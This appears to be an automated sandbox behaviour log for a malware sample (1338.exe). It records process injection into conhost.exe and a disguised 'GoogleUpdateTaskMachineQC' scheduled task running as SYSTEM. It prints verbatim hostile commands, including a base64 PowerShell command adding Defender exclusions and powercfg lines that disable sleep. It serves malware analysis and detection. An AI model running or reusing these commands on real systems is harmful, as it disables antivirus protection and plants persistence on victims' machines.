Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6068	Thread sleep count: 6924 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5416	Thread sleep count: 1590 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3596	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6460	Thread sleep count: 5990 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6456	Thread sleep count: 1915 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4628	Thread sleep time: -2767011611056431s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\conhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6924	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1590	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5990
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1915

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\conhost.exe	Thread delayed: delay time: 35000	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Users\user\Desktop\1338.exe	Memory written: C:\Windows\System32\conhost.exe base: 2779DCB0000			Jump to behavior
Source: C:\Program Files\Google\Chrome\updater.exe	Memory written: C:\Windows\System32\conhost.exe base: 27E76320000			Jump to behavior

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded <#mo#> Add-MpPreference <#sun#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#pwkq#> -Force <#ikyu#>
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded <#mo#> Add-MpPreference <#sun#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#pwkq#> -Force <#ikyu#>
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded <#mo#> Add-MpPreference <#sun#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#pwkq#> -Force <#ikyu#>	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded <#mo#> Add-MpPreference <#sun#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#pwkq#> -Force <#ikyu#>

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\1338.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 2779DCB0000 protect: page execute and read and write			Jump to behavior
Source: C:\Program Files\Google\Chrome\updater.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 27E76320000 protect: page execute and read and write			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\System32\conhost.exe

Memory written: C:\Windows\System32\conhost.exe base: 400000 value starts with: 4D5A

Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\System32\conhost.exe

Thread register set: target process: 6712

Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\1338.exe	Thread created: C:\Windows\System32\conhost.exe EIP: 9DCB0000			Jump to behavior
Source: C:\Program Files\Google\Chrome\updater.exe	Thread created: C:\Windows\System32\conhost.exe EIP: 76320000			Jump to behavior

Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAG0AbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdwBrAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAHkAdQAjAD4A
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "PAAjAG0AbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdwBrAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAHkAdQAjAD4A"
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAG0AbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdwBrAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAHkAdQAjAD4A
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "PAAjAG0AbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdwBrAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAHkAdQAjAD4A"
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAG0AbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdwBrAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAHkAdQAjAD4A	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "PAAjAG0AbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdwBrAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAHkAdQAjAD4A"	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAG0AbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdwBrAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAHkAdQAjAD4A	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "PAAjAG0AbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdwBrAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAHkAdQAjAD4A"

Source: C:\Users\user\Desktop\1338.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\System32\conhost.exe" "C:\Users\user\Desktop\1338.exe	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAG0AbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdwBrAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAHkAdQAjAD4A	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr '^"C:\Program Files\Google\Chrome\updater.exe^"'	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" cmd /c schtasks /run /tn "GoogleUpdateTaskMachineQC	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "PAAjAG0AbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdwBrAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAHkAdQAjAD4A"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr '"C:\Program Files\Google\Chrome\updater.exe"'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /run /tn "GoogleUpdateTaskMachineQC"	Jump to behavior
Source: C:\Program Files\Google\Chrome\updater.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\System32\conhost.exe" "C:\Program Files\Google\Chrome\updater.exe	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAG0AbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdwBrAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAHkAdQAjAD4A	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\System32\conhost.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "PAAjAG0AbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdwBrAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAHkAdQAjAD4A"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\System32\conhost.exe" "ossgiopsxz	Jump to behavior

Source: conhost.exe, 00000001.00000000.433112661.000002779E7A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: conhost.exe, 00000001.00000000.433112661.000002779E7A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: conhost.exe, 00000001.00000000.433112661.000002779E7A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: YProgram Managerf
Source: conhost.exe, 00000001.00000000.433112661.000002779E7A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation

Lowering of HIPS / PFW / Operating System Security Settings

Modifies power options to not sleep / hibernate

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
